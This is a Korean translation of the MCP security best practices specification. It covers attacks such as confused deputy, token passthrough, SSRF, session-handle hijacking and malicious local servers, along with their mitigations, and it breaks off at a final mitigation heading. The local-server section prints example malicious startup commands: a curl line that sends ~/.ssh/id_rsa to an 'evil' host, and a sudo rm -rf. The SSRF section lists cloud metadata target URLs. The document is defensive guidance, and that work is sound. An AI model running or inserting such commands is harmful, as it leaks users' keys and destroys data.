보안 모범 사례
보안 모범 사례 (Security Best Practices)
MCP 구현을 위한 보안 고려 사항, 공격 벡터, 모범 사례를 다루는 문서예요. 이 문서는 MCP에 특화된 보안 위험, 공격 벡터, 모범 사례를 식별합니다.
출처: 문서
본문
소개 (Introduction)
목적과 범위
이 문서는 MCP Authorization 사양을 보완하는 Model Context Protocol(MCP)의 보안 고려 사항을 제공해요. MCP 구현에 특화된 보안 위험, 공격 벡터, 모범 사례를 식별합니다.
이 문서의 주요 독자는 MCP 인증 흐름을 구현하는 개발자, MCP 서버 운영자, MCP 기반 시스템을 평가하는 보안 전문가입니다. 이 문서는 MCP Authorization 사양과 OAuth 2.0 보안 모범 사례와 함께 읽어야 해요.
공격과 완화 (Attacks and Mitigations)
이 섹션은 MCP 구현에 대한 공격을 상세히 설명하고, 함께 적용할 수 있는 대응책을 제공합니다.
혼동된 대리자 문제 (Confused Deputy Problem)
공격자는 제3자 API에 연결하는 MCP 프록시 서버를 악용해 "confused deputy" 취약점을 만들 수 있어요. 이 공격은 정적 클라이언트 ID, 동적 클라이언트 등록, 동의 쿠키의 조합을 악용해, 적절한 사용자 동의 없이 악의적인 클라이언트가 인증 코드를 얻을 수 있게 합니다.
용어
MCP 프록시 서버(MCP Proxy Server) : MCP 클라이언트를 제3자 API에 연결해, 작업을 위임하면서 MCP 기능을 제공하고 제3자 API 서버에 대한 단일 OAuth 클라이언트로 동작하는 MCP 서버.
제3자 인증 서버(Third-Party Authorization Server) : 제3자 API를 보호하는 인증 서버. 동적 클라이언트 등록을 지원하지 않아, MCP 프록시가 모든 요청에 정적 클라이언트 ID를 사용해야 할 수 있음.
제3자 API(Third-Party API) : 실제 API 기능을 제공하는 보호된 리소스 서버. 이 API에 대한 접근은 제3자 인증 서버가 발급한 토큰을 필요로 함.
정적 클라이언트 ID(Static Client ID) : MCP 프록시 서버가 제3자 인증 서버와 통신할 때 사용하는 고정 OAuth 2.0 클라이언트 식별자. 이 Client ID는 제3자 API에 대한 클라이언트로 동작하는 MCP 서버를 가리킵니다. 어떤 MCP 클라이언트가 요청을 시작했는지와 무관하게 모든 MCP 서버-제3자 API 상호작용에서 같은 값입니다.
취약 조건
다음 조건이 모두 존재할 때 이 공격이 가능해집니다.
- MCP 프록시 서버가 제3자 인증 서버와 함께 정적 클라이언트 ID를 사용함
- MCP 프록시 서버가 MCP 클라이언트가 동적으로 등록하는 것을 허용함(각자 자신의 client_id를 얻음)
- 제3자 인증 서버가 첫 인증 후 동의 쿠키(consent cookie) 를 설정함
- MCP 프록시 서버가 제3자 인증으로 전달하기 전에 적절한 클라이언트별 동의를 구현하지 않음
아키텍처와 공격 흐름
정상적인 OAuth 프록시 사용 (사용자 동의 유지)
sequenceDiagram
participant UA as User-Agent (Browser)
participant MC as MCP Client
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
Note over UA,M: Initial Auth flow completed
Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
M->>UA: Redirect to third party authorization server
UA->>TAS: Authorization request (client_id: mcp-proxy)
TAS->>UA: Authorization consent screen
Note over UA: Review consent screen
UA->>TAS: Approve
TAS->>UA: Set consent cookie for client ID: mcp-proxy
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to MCP Client with MCP authorization code
Note over M,UA: Exchange code for token, etc.
악의적인 OAuth 프록시 사용 (사용자 동의 건너뜀)
sequenceDiagram
participant UA as User-Agent (Browser)
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
participant A as Attacker
Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
A->>M: Dynamically register malicious client, redirect_uri: attacker.com
A->>UA: Sends malicious link
UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
rect rgba(255, 17, 0, 0.67)
TAS->>TAS: Cookie present, consent skipped
end
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to attacker.com with MCP Authorization code
UA->>A: MCP Authorization code delivered to attacker.com
Note over M,A: Attacker exchanges MCP code for MCP token
A->>M: Attacker impersonates user to MCP server
공격 설명
MCP 프록시 서버가 제3자 인증 서버에 인증할 때 정적 클라이언트 ID를 사용하면, 다음 공격이 가능해집니다.
- 사용자가 MCP 프록시 서버를 통해 제3자 API에 정상적으로 인증합니다.
- 이 흐름 동안 제3자 인증 서버는 정적 클라이언트 ID에 대한 동의를 나타내는 쿠키를 사용자 에이전트에 설정합니다.
- 이후 공격자가 사용자에게 악의적인 리다이렉트 URI와 함께 새로 동적으로 등록된 클라이언트 ID를 포함하는 조작된 인증 요청이 담긴 악성 링크를 보냅니다.
- 사용자가 링크를 클릭하면 브라우저에는 여전히 이전 합법적 요청의 동의 쿠키가 남아 있습니다.
- 제3자 인증 서버는 쿠키를 감지하고 동의 화면을 건너뜁니다.
- MCP 인증 코드는 악의적인
redirect_uri매개변수(동적 클라이언트 등록 중 지정)로 공격자의 서버로 리다이렉트됩니다. - 공격자는 사용자의 명시적 승인 없이 훔친 인증 코드를 MCP 서버의 액세스 토큰과 교환합니다.
- 공격자는 이제 손상된 사용자로서 제3자 API에 접근할 수 있습니다.
완화
confused deputy 공격을 방지하기 위해 MCP 프록시 서버는 아래에 상세히 나온 대로 클라이언트별 동의와 적절한 보안 통제를 반드시(MUST) 구현해야 합니다.
동의 흐름 구현
다음 다이어그램은 제3자 인증 흐름 이전에 실행되는 클라이언트별 동의를 올바르게 구현하는 방법을 보여 줍니다.
sequenceDiagram
participant Client as MCP Client
participant Browser as User's Browser
participant MCP as MCP Server
participant ThirdParty as Third-Party AuthZ Server
Note over Client,ThirdParty: 1. Client Registration (Dynamic)
Client->>MCP: Register with redirect_uri
MCP-->>Client: client_id
Note over Client,ThirdParty: 2. Authorization Request
Client->>Browser: Open MCP server authorization URL
Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
alt Check MCP Server Consent
MCP->>MCP: Check consent for this client_id
Note over MCP: Not previously approved
end
MCP->>Browser: Show MCP server-owned consent page
Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
Browser->>MCP: POST /consent (approve)
MCP->>MCP: Store consent decision for client_id
Note over Client,ThirdParty: 3. Forward to Third-Party
MCP->>Browser: Redirect to third-party /authorize
Note over MCP: Use static client_id for third-party
Browser->>ThirdParty: Authorization request (static client_id)
ThirdParty->>Browser: User authenticates & consents
ThirdParty->>Browser: Redirect with auth code
Browser->>MCP: Callback with third-party code
MCP->>ThirdParty: Exchange code for token (using static client_id)
MCP->>Browser: Redirect to client's registered redirect_uri
요구되는 보호
클라이언트별 동의 저장
MCP 프록시 서버는 다음을 반드시(MUST) 수행해야 합니다.
- 사용자별 승인된
client_id값의 레지스트리 유지 - 제3자 인증 흐름을 시작하기 전에 이 레지스트리를 확인
- 동의 결정을 안전하게 저장(서버 측 데이터베이스 또는 서버 특정 쿠키)
동의 UI 요구 사항
MCP 수준 동의 페이지는 다음을 반드시(MUST) 수행해야 합니다.
- 요청하는 MCP 클라이언트를 이름으로 명확히 식별
- 요청되는 특정 제3자 API 스코프 표시
- 토큰이 보내질 등록된
redirect_uri표시 - CSRF 보호 구현(예: state 매개변수, CSRF 토큰)
- 클릭재킹 방지를 위해
frame-ancestorsCSP 지시어 또는X-Frame-Options: DENY로 iframing 방지
동의 쿠키 보안
쿠키로 동의 결정을 추적한다면, 그것들은 다음을 반드시(MUST) 수행해야 합니다.
- 쿠키 이름에
__Host-접두사 사용 Secure,HttpOnly,SameSite=Lax속성 설정- 암호학적으로 서명되거나 서버 측 세션 사용
- 특정
client_id에 바인딩("사용자가 동의했다"만이 아니라)
리다이렉트 URI 검증
MCP 프록시 서버는 다음을 반드시(MUST) 수행해야 합니다.
- 인증 요청의
redirect_uri가 등록된 URI와 정확히 일치하는지 검증 - 재등록 없이
redirect_uri가 변경되면 요청 거부 - 정확한 문자열 일치 사용(패턴 매칭이나 와일드카드 아님)
OAuth state 매개변수 검증
OAuth state 매개변수는 인증 코드 가로채기와 CSRF 공격을 방지하는 데 중요합니다. 적절한 state 검증은 인증 엔드포인트에서의 동의 승인이 콜백 엔드포인트에서도 강제되도록 보장합니다.
OAuth 흐름을 구현하는 MCP 프록시 서버는 다음을 반드시(MUST) 수행해야 합니다.
- 각 인증 요청에 대해 암호학적으로 안전한 임의
state값 생성 - 동의가 명시적으로 승인된 후에만
state값을 서버 측(보안 세션 저장소 또는 암호화된 쿠키)에 저장 - 제3자 ID 제공자로 리다이렉트하기 직전에(동의 승인 전이 아니라)
state추적 쿠키/세션 설정 - 콜백 엔드포인트에서
state쿼리 매개변수가 콜백 요청의 쿠키 또는 쿠키 기반 세션에 저장된 값과 정확히 일치하는지 검증 state매개변수가 없거나 일치하지 않는 콜백 요청 전부 거부state값이 일회용(검증 후 삭제)이고 짧은 만료 시간(예: 10분)을 갖도록 보장
state 값을 담은 동의 쿠키나 세션은 사용자가 MCP 서버의 인증 엔드포인트에서 동의 화면을 승인한 후에만 설정되어야 합니다(MUST NOT be set). 동의 승인 전에 이 쿠키를 설정하면 동의 화면이 무력화되는데, 공격자가 악의적인 인증 요청을 조작해 우회할 수 있기 때문이에요.
토큰 패스스루 (Token Passthrough)
"토큰 패스스루"는 MCP 서버가 MCP 클라이언트로부터 토큰을, 그 토큰이 MCP 서버에 적절히 발급됐는지 검증하지 않고 받아 하류 API에 그대로 전달하는 안티패턴이에요.
공격자가 다른 리소스를 위해 발급된 토큰을 서버가 수락하면, 무단 접근을 얻거나 MCP 서버를 손상시킬 수 있습니다. 이 취약점에는 두 가지 중요한 차원이 있습니다.
- Audience 검증 실패. MCP 서버가 토큰이 자신을 위해 발급되었는지 확인하지 않으면(예: RFC9068에 언급된 audience claim), 다른 서비스를 위해 원래 발급된 토큰을 수락할 수 있어요. 이는 근본적인 OAuth 보안 경계를 깨뜨려, 공격자가 정당한 토큰을 의도한 것과 다른 서비스에서 재사용할 수 있게 합니다.
- 토큰 패스스루. MCP 서버가 잘못된 audience의 토큰을 수락할 뿐 아니라, 이 수정되지 않은 토큰을 하류 서비스에 전달하면, 하류 API가 그 토큰이 MCP 서버에서 왔거나 업스트림 API가 검증한 것처럼 잘못 신뢰하는 "confused deputy" 문제를 일으킬 수 있어요.
위험
토큰 패스스루는 인증 사양에서 명시적으로 금지되는데, 여러 보안 위험을 도입하기 때문입니다.
- 보안 통제 우회
- MCP 서버나 하류 API가 속도 제한, 요청 검증, 트래픽 모니터링 같은 토큰 audience 또는 다른 자격 증명 제약에 의존하는 중요한 보안 통제를 구현할 수 있어요. 클라이언트가 MCP 서버가 제대로 검증하지 않거나 토큰이 올바른 서비스를 위해 발급됐는지 확인하지 않은 채 하류 API와 직접 토큰을 얻어 사용할 수 있다면, 이 통제들을 우회합니다.
- 책임성과 감사 추적 문제
- MCP 서버는 클라이언트가 업스트림 발급 액세스 토큰으로 호출할 때, 그 토큰이 MCP 서버에 불투명할 수 있으므로 MCP 클라이언트를 식별하거나 구분할 수 없습니다.
- 하류 리소스 서버의 로그에는 실제로 토큰을 전달하는 MCP 서버가 아니라, 다른 소스·다른 정체성에서 온 것처럼 보이는 요청이 표시될 수 있어요.
- 두 요인 모두 사고 조사, 통제, 감사를 더 어렵게 만듭니다.
- MCP 서버가 토큰의 claim(역할, 권한, audience)이나 다른 메타데이터를 검증하지 않고 전달하면, 훔친 토큰을 가진 악의적인 행위자가 데이터 유출 프록시로 서버를 사용할 수 있어요.
- 신뢰 경계 문제
- 하류 리소스 서버는 특정 엔티티에게 신뢰를 부여합니다. 이 신뢰에는 오리진이나 클라이언트 동작 패턴에 대한 가정이 포함될 수 있어요. 이 신뢰 경계가 깨지면 예상치 못한 문제가 생길 수 있습니다.
- 토큰이 적절한 검증 없이 여러 서비스에서 수락된다면, 한 서비스를 손상시킨 공격자가 그 토큰으로 다른 연결 서비스에 접근할 수 있습니다.
- 미래 호환성 위험
- MCP 서버가 오늘 "순수 프록시"로 시작해도, 나중에 보안 통제를 추가해야 할 수 있어요. 적절한 토큰 audience 분리로 시작하면 보안 모델을 진화시키기 더 쉬워집니다.
완화
MCP 서버는 명시적으로 MCP 서버를 위해 발급되지 않은 토큰은 절대 수락해서는 안 됩니다(MUST NOT).
서버 측 요청 위조 (Server-Side Request Forgery / SSRF)
SSRF는 공격자가 MCP 클라이언트가 의도하지 않은 목적지로 HTTP 요청을 하도록 유도해, 내부 네트워크 리소스, 클라우드 메타데이터 엔드포인트, 또는 다른 보호된 서비스에 잠재적으로 접근하는 공격이에요.
공격 설명
OAuth 메타데이터 발견 중 MCP 클라이언트는 악의적인 MCP 서버가 제어할 수 있는 여러 소스에서 URL을 가져옵니다.
WWW-Authenticate헤더의resource_metadataURL- Protected Resource Metadata 문서의
authorization_serversURL - Authorization Server Metadata의
token_endpoint,authorization_endpoint, 기타 URL
악의적인 MCP 서버는 이 필드들을 내부 리소스를 가리키는 URL로 채워 다음 공격 패턴을 가능하게 할 수 있어요.
- 직접 내부 IP 접근:
http://192.168.1.1/admin이나http://10.0.0.1/api같은 URL이 내부 네트워크 서비스를 대상으로 함 - 클라우드 메타데이터 엔드포인트:
http://169.254.169.254/(AWS/GCP/Azure 메타데이터 서비스)를 대상으로 하는 URL이 클라우드 자격 증명과 인스턴스 정보를 유출할 수 있음 - 로컬호스트 서비스:
http://localhost:6379/같은 URL이 로컬 서비스(Redis, 데이터베이스, 관리 패널)와 상호작용할 수 있음 - DNS 리바인딩: 검증 시점과 사용 시점 사이에 DNS 해석을 바꾸는 도메인(초기엔 안전한 IP로, 그다음
192.168.1.1로 해석되는https://attacker.com등) - 리다이렉트 체인: 내부 리소스로 리다이렉트되는 정상처럼 보이는 URL
sequenceDiagram
participant Client as MCP Client
participant MCP as Malicious MCP Server
participant Internal as Internal Service
Client->>MCP: Connect to MCP server
MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
Note over Client: Client follows URL without validation
Client->>Internal: GET http://169.254.169.254/latest/meta-data/
Internal-->>Client: Cloud credentials/metadata
Note over Client: Error or response details leak to attacker
Client->>MCP: Subsequent request with error details
위험
- 자격 증명 유출: 클라우드 메타데이터 엔드포인트는 종종 IAM 자격 증명, API 키, 기타 비밀을 노출해요.
- 내부 네트워크 정찰: 오류 메시지가 내부 네트워크 토폴로지와 서비스에 대한 정보를 드러냅니다.
- 서비스 상호작용: POST 요청(예: 토큰 엔드포인트로)이 내부 서비스에서 변형을 트리거할 수 있어요.
- 방화벽 우회: MCP 클라이언트가 프록시 역할을 해 네트워크 경계 통제를 우회합니다.
- 데이터 유출: 내부 서비스 응답이 오류 메시지나 OAuth 흐름을 통해 공격자에게 되돌려질 수 있어요.
완화
서버에 배포된 MCP 클라이언트는 OAuth 관련 URL을 가져올 때 SSRF 위험을 반드시(MUST) 고려하고 적절한 완화를 구현해야 합니다. 어떤 보호가 적절한지는 네트워크 환경에 따라 달라요.
HTTPS 강제
MCP 클라이언트는 프로덕션 환경에서 모든 OAuth 관련 URL에 HTTPS를 요구하는 것이 좋습니다(SHOULD).
- 개발 중 루프백 주소(
localhost,127.0.0.1,::1)를 제외하고http://URL 거부 - 이는 루프백 리다이렉트 URI를 제외한 모든 OAuth 프로토콜 URL에 HTTPS를 요구하는 OAuth 2.1 섹션 1.5와 일치
- 개발/테스트 시나리오를 위한 명시적 옵트아웃 메커니즘 제공
사설 IP 범위 차단
MCP 클라이언트는 RFC 9728 섹션 7.7이 권장하는 대로 사설·예약 IP 주소 범위로의 요청을 차단하는 것이 좋습니다(SHOULD).
- 사설 IPv4 범위:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - 루프백:
127.0.0.0/8,::1(개발용으로 명시적으로 허용된 경우 제외) - 링크-로컬:
169.254.0.0/16(클라우드 메타데이터 엔드포인트 포함) - 사설 IPv6 범위:
fc00::/7,fe80::/10
IP 검증을 수동으로 구현하지 마세요. 공격자는 커스텀 파서가 종종 놓치는 인코딩 기법(8진수, 16진수, IPv4-mapped IPv6)을 악용합니다.
리다이렉트 대상 검증
MCP 클라이언트는 리다이렉트 대상에도 같은 URL 검증을 적용하는 것이 좋습니다(SHOULD).
- 내부 리소스로의 리다이렉트를 맹목적으로 따르지 않기
- HTTPS와 IP 범위 제한을 리다이렉트 목적지에 적용
- 자동 리다이렉트 추적을 비활성화하고 각 홉을 검증하는 것 고려
이그레스 프록시 사용
서버 측 MCP 클라이언트 배포에서 운영자는 네트워크 정책을 강제하는 이그레스 프록시 사용을 고려하는 것이 좋습니다(SHOULD).
- OAuth 발견 요청을 내부 목적지를 차단하는 프록시로 라우팅
- 설계상 SSRF를 방지하는 Smokescreen 같은 이그레스 프록시 사용
- MCP 클라이언트의 아웃바운드 접근을 제한하도록 네트워크 정책 구성
DNS 해석 고려 사항
DNS 기반 검증의 TOCTOU(Time-of-Check to Time-of-Use) 문제를 인지하세요.
- 공격자의 도메인은 검증 중에는 안전한 IP로, 실제 요청 중에는 내부 IP로 해석될 수 있어요.
- 확인과 사용 사이에 DNS 해석 결과를 고정하는 것 고려
- 심층 방어: DNS 검사를 다른 완화와 결합
인증 서버에 대한 SSRF
SSRF 위험은 MCP 클라이언트에만 국한되지 않습니다. 인증 서버가 Client ID Metadata Documents를 지원할 때, 인증 서버는 알 수 없는 클라이언트로부터 URL을 입력으로 받아 그 URL을 가져옵니다. 악의적인 클라이언트는 이를 이용해 인증 서버가 임의 URL로 요청하게 트리거할 수 있어요. 예를 들어 인증 서버가 접근할 수 있는 사설 관리 엔드포인트로의 요청 같은 것들요.
위에서 설명한 사설 IP 범위 차단과 이그레스 프록시 사용 같은 완화는 클라이언트 메타데이터 문서를 가져오는 인증 서버에도 동일하게 적용됩니다. 추가 안내는 Client ID Metadata Document 사양의 Server Side Request Forgery (SSRF) Attacks를 참고하세요.
리소스와 도구
다음 리소스는 개발자가 MCP 클라이언트에서 SSRF 보호를 구현하는 데 도움이 될 수 있어요.
참조 문서
- OWASP SSRF Prevention Cheat Sheet: 입력 검증, 허용 목록 전략, 네트워크 수준 통제를 포함한 SSRF 방지 기법의 종합 안내
- OWASP Top 10 A10:2021 - SSRF: 가장 중요한 웹 애플리케이션 보안 위험 맥락에서의 SSRF
상태 핸들 하이재킹 (State Handle Hijacking)
MCP는 무상태(stateless)이고 프로토콜 수준 세션이 없어요. 여러 요청에 걸친 상태가 필요한 서버는 장바구니 ID나 워크플로 ID 같은 명시적 핸들을 발급하고, 각 요청에서 평범한 도구 인수로 다시 받습니다. 상태 핸들 하이재킹은 무단 당사자가 그런 핸들을 얻거나 추측해, 다른 사용자의 상태에 접근·수정하는 공격 벡터예요.
공격 설명
- MCP 서버가 인증된 사용자를 위해 상태 핸들을 발급하고 도구 결과로 반환합니다.
- 공격자가 핸들을 얻거나 추측합니다.
- 공격자가 핸들을 인수로 해 MCP 서버의 도구를 호출합니다.
- MCP 서버는 핸들이 호출자에게 속하는지 확인하지 않고 원래 사용자의 상태에 대해 동작해, 무단 접근이나 동작을 허용합니다.
완화
인증을 구현하는 MCP 서버는 모든 인바운드 요청을 반드시(MUST) 검증해야 합니다. MCP 서버는 상태 핸들 소지를 인증으로 취급해서 절대 안 됩니다(MUST NOT).
MCP 서버는 안전한 난수 생성기로 생성된 안전하고 비결정적 핸들을 사용하는 것이 좋습니다(SHOULD). 공격자가 추측할 수 있는 예측 가능하거나 순차적인 식별자를 피하세요. 만료되는 핸들도 위험을 줄일 수 있어요.
MCP 서버는 핸들을 서버 측에서 인증된 사용자에 바인딩하는 것이 좋습니다(SHOULD). 예를 들어 저장된 상태를 <user_id>:<handle>로 키 잠고, 사용자 ID는 클라이언트가 제공하는 것이 아니라 검증된 토큰에서 파생하며, 다른 주체가 제시한 핸들은 거부합니다. 이렇게 하면 공격자가 핸들을 추측해도 다른 사용자를 사칭할 수 없습니다.
프로토콜 버전 2025-11-25 및 이전이 사용하는 서버 할당 세션 ID를 보호하는 방법은 2025-11-25 버전 이 페이지의 세션 하이재킹을 참고하세요.
로컬 MCP 서버 손상 (Local MCP Server Compromise)
로컬 MCP 서버는 사용자가 서버를 다운로드해 실행하거나, 직접 서버를 작성하거나, 클라이언트 구성 흐름으로 설치하는 등 사용자의 로컬 머신에서 실행되는 MCP 서버예요. 이 서버들은 사용자 시스템에 직접 접근할 수 있고, 사용자 머신에서 실행 중인 다른 프로세스가 접근할 수 있어 공격의 매력적인 표적이 됩니다.
공격 설명
로컬 MCP 서버는 MCP 클라이언트와 같은 머신에서 다운로드되어 실행되는 바이너리예요. 적절한 샌드박싱과 동의 요구 사항이 없으면 다음 공격이 가능해집니다.
- 공격자가 클라이언트 구성에 악성 "시작" 명령을 포함
- 공격자가 서버 자체 내부에 악성 페이로드 배포
- 공격자가 DNS 리바인딩으로 localhost에서 실행 중인 보안되지 않은 로컬 서버에 접근
포함될 수 있는 악성 시작 명령의 예:
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
위험
부적절한 제한이 있거나 신뢰할 수 없는 소스의 로컬 MCP 서버는 여러 심각한 보안 위험을 도입합니다.
- 임의 코드 실행. 공격자는 MCP 클라이언트 권한으로 어떤 명령이든 실행할 수 있어요.
- 가시성 없음. 사용자는 어떤 명령이 실행되는지 전혀 알 수 없어요.
- 명령 난독화. 악의적인 행위자는 복잡하거나 난해한 명령으로 합법적으로 보이게 할 수 있어요.
- 데이터 유출. 공격자는 손상된 JavaScript를 통해 합법적인 로컬 MCP 서버에 접근할 수 있어요.
- 데이터 손실. 공격자나 합법적 서버의 버그가 호스트 머신에서 되돌릴 수 없는 데이터 손실로 이어질 수 있어요.
완화
MCP 클라이언트가 원클릭 로컬 MCP 서버 구성을 지원한다면, 명령 실행 전에 적절한 동의 메커니즘을 반드시(MUST) 구현해야 합니다.
사전 구성 동의
원클릭 구성으로 새 로컬 MCP 서버를 연결하기 전에 명확한 동의 대화 상자를 표시하세요. MCP 클라이언트는 다음을 반드시(MUST) 수행해야 합니다.
- 실행될 정확한 명령을 잘림 없이 표시(인수와 매개변수 포함)
- 사용자 시스템에서 코드를 실행하는 잠재적으로 위험한 작업으로 명확히 식별
- 진행 전에 명시적 사용자 승인 요구
- 사용자가 구성을 취소하게 허용
MCP 클라이언트는 잠재적인 코드 실행 공격 벡터를 완화하기 위한 추가 검사와 안전장치를 구현하는 것이 좋습니다(SHOULD).
- 잠재적으로 위험한 명령 패턴 강조(예:
sudo,rm -rf, 네트워크 작업, 예상 디렉터리 밖의 파일시스템 접근이 포함된 명령) - 민감한 위치(홈 디렉터리, SSH 키, 시스템 디렉터리)에 접근하는 명령에 경고 표시
- MCP 서버가 클라이언트와 같은 권한으로 실행된다는 경고
- 최소 기본 권한으로 샌드박스 환경에서 MCP 서버 명령 실행
- 파일시스템, 네트워크, 기타 시스템 리소스에 대한 접근이 제한된 상태로 MCP 서버 실행
- 필요할 때 사용자가 추가 권한(예: 특정 디렉터리 접근, 네트워크 접근)을 명시적으로 부여하는 메커니즘 제공
- 플랫폼에 적절한 샌드박싱 기술 사용(컨테이너, chroot, 애플리케이션 샌드박스 등)
- 새로운 취약점을 처리하도록 샌드박싱 솔루션을 최신 상태로 유지
서버를 로컬로 실행하려는 MCP 서버는 악의적인 프로세스의 무단 사용을 방지하는 조치를 구현하는 것이 좋습니다(SHOULD).
- 접근을 MCP 클라이언트로만 제한하도록
stdio전송 사용 - HTTP 전송을 사용할 때 접근 제한, 예를 들어:
- 인증 토큰 요구
- 접근이 제한된 유닉스 도메인 소켓 또는 다른 Interprocess Communication(IPC) 메커니즘 사용
OAuth 인증 URL 검증 (OAuth Authorization URL Validation)
악의적인 MCP 서버가 제공하는 OAuth 인증 URL은 클라이언트 측 URL 처리 취약점을 악용해 XSS(Cross-Site Scripting) 공격과 RCE(Remote Code Execution)로 이어질 수 있어요.
공격 설명
OAuth 인증 흐름 중 MCP 서버는 클라이언트가 브라우저에서 열거나 프로그래매틱하게 처리하는 인증 URL을 제공합니다. 악의적인 서버는 MCP 클라이언트의 부적절한 URL 검증을 다음 공격 벡터로 악용할 수 있어요.
JavaScript URL 주입(XSS)
- 악의적인 MCP 서버가 인증 엔드포인트로
javascript:URL을 제공 - MCP 클라이언트가 이 URL을
window.open()이나 유사한 브라우저 API에 직접 전달 - 브라우저가 URL에 내장된 JavaScript 코드를 실행
- 공격자가 클라이언트 애플리케이션 내에서 JavaScript 실행 컨텍스트를 얻어, 세션 하이재킹, 자격 증명 도난, 추가 악용으로 이어질 수 있음
셸 실행을 통한 명령 주입
- 악의적인 MCP 서버가 셸 명령 주입 페이로드를 포함한 URL 제공
- MCP 클라이언트가 셸 명령(예:
cmd.exe, PowerShell, 셸 스크립트)을 사용해 URL을 열기 - 셸이 URL의 일부를 실행할 추가 명령으로 해석
- 공격자가 사용자 시스템에서 임의 코드 실행을 달성
stdio 전송 권한 상승
XSS 취약점이 stdio 전송 기능과 결합되면, 공격자는 웹 기반 공격을 전체 시스템 손상으로 확대할 수 있습니다. 자세한 공격 벡터와 완화는 프록시 시나리오의 stdio 전송 보안을 참고하세요.
sequenceDiagram
participant MaliciousMCP as Malicious MCP Server
participant Client as MCP Client
participant Proxy as MCP Proxy
participant System as Host System
MaliciousMCP->>Client: Malicious authorization URL (javascript:)
Client->>Client: Execute JavaScript (XSS)
Client->>Client: Extract proxy auth token
Client->>Proxy: Malicious stdio command request
Note over Client,Proxy: Using stolen authentication token
Proxy->>System: Execute arbitrary command
System-->>Proxy: Command output
Proxy-->>Client: Command result
Client-->>MaliciousMCP: Exfiltrate data/establish persistence
위험
OAuth 인증 URL 취약점은 여러 심각한 보안 위험을 도입합니다.
- XSS(Cross-Site Scripting). 악성 JavaScript 실행이 세션 하이재킹, 자격 증명 도난, 클라이언트 애플리케이션 내 무단 동작으로 이어질 수 있어요.
- RCE(Remote Code Execution). 셸 실행을 통한 명령 주입으로 공격자가 사용자 권한으로 임의 코드를 실행할 수 있어요.
- 권한 상승. XSS가
stdio전송과 결합해 웹 기반 공격을 전체 시스템 손상으로 확대할 수 있어요. - 데이터 유출. 공격자가 사용자 시스템에 저장된 민감한 데이터, 구성 파일, 자격 증명에 접근할 수 있어요.
- 지속성(Persistence). 공격자가 지속적 접근을 위해 멀웨어 설치, 백도어 생성, 시스템 구성 수정을 할 수 있어요.
완화
URL 스킴 검증
MCP 클라이언트는 인증 URL을 검증하고 위험한 스킴을 반드시(MUST) 거부해야 합니다.
- 인증 URL에
http://와https://스킴만 반드시(MUST) 허용.http://스킴은 로컬 개발 중 루프백 주소(localhost,127.0.0.1,::1등)에서만 허용되며, 프로덕션 인증 서버는 반드시(MUST)https://를 사용. javascript:,data:,file:,vbscript:및 기타 잠재적으로 위험한 스킴 반드시(MUST) 거부- 블록리스트 기반보다 허용 목록 기반 검증을 사용하는 것이 좋습니다(SHOULD)
안전한 URL 열기
MCP 클라이언트는 URL을 열 때 셸 실행을 반드시(MUST) 피해야 합니다.
- URL을 여는 데 셸 명령(예:
cmd.exe,sh, PowerShell)을 절대 사용하지 말 것(MUST NOT) - 플랫폼 특정 비셸 URL 열기 메커니즘 사용 권장(SHOULD)
콘텐츠 보안 정책(CSP)
웹 기반 MCP 클라이언트는 JavaScript 실행을 방지하기 위해 Content Security Policy 헤더를 구현하는 것이 좋습니다(SHOULD).
- 인라인 JavaScript 실행 방지를 위해
script-src 'self'설정 - 리소스 로딩 제한을 위한
default-src 'self'사용 - 인라인 스크립트가 필요한 동적 콘텐츠에는
script-src 'nonce-<random>'고려
입력 정리
MCP 클라이언트는 MCP 서버로부터 받은 모든 URL을 반드시(MUST) 정리하고 검증해야 합니다.
- 엄격한 URL 파싱과 검증 구현
- 셸이 해석할 수 있는 특수 문자가 있는 URL 거부
- 전용 URL 정리 라이브러리 사용 고려
- 보안 모니터링을 위해 의심스러운 인증 URL 기록
프록시 시나리오의 stdio 전송 보안 (stdio Transport Security in Proxy Scenarios)
stdio 전송 자체는 본질적으로 취약하지 않아요. 그러나 별도의 프록시 서비스가 stdio 연결을 관리하고 MCP 서버를 자식 프로세스로 실행할 수 있는 프록시 아키텍처에서, 웹 기반 공격에서 전체 시스템 손상으로 이어지는 중요한 확대 경로를 제공할 수 있습니다.
공격 설명
중요: 이 공격 벡터는 프록시 아키텍처를 사용하는 MCP 구현에만 적용되며, 직접 stdio 전송 사용에는 적용되지 않습니다.
프록시 기반 MCP 구현에서 로컬 프록시 서비스는 클라이언트와 MCP 서버 사이에 위치해, stdio 전송을 통해 서버를 자식 프로세스로 실행합니다. 이 아키텍처는 클라이언트 측 취약점과 결합될 때 특권 확대 경로를 만듭니다.
- 공격자가 XSS 또는 다른 클라이언트 측 코드 실행을 달성(예: OAuth URL 취약점을 통해)
- 위 공격 벡터를 사용해 악의적인 행위자가 클라이언트와 프록시 사이에 수립된 MCP 프록시 인증 토큰을 클라이언트 환경에서 접근
- 악의적인 행위자가 로컬 MCP 프록시 서비스에 인증된 요청을 만듦
- 프록시가
stdio전송을 통해 임의 명령을 실행(합법적인 MCP 서버 명령이라고 믿고) - 공격자가 사용자 권한으로 Remote Code Execution을 달성
위험
- 권한 상승. 웹 기반 취약점(XSS)이 프록시 명령 실행을 통해 호스트 시스템에서 임의 코드 실행으로 확대될 수 있어요.
- 인증 우회. 훔친 프록시 인증 토큰으로 stdio 프로세스 실행 기능에 무단 접근할 수 있어요.
- 시스템 손상. 공격자는 MCP 프록시 프로세스가 실행 권한을 가진 어떤 명령이든 실행할 수 있어요.
완화
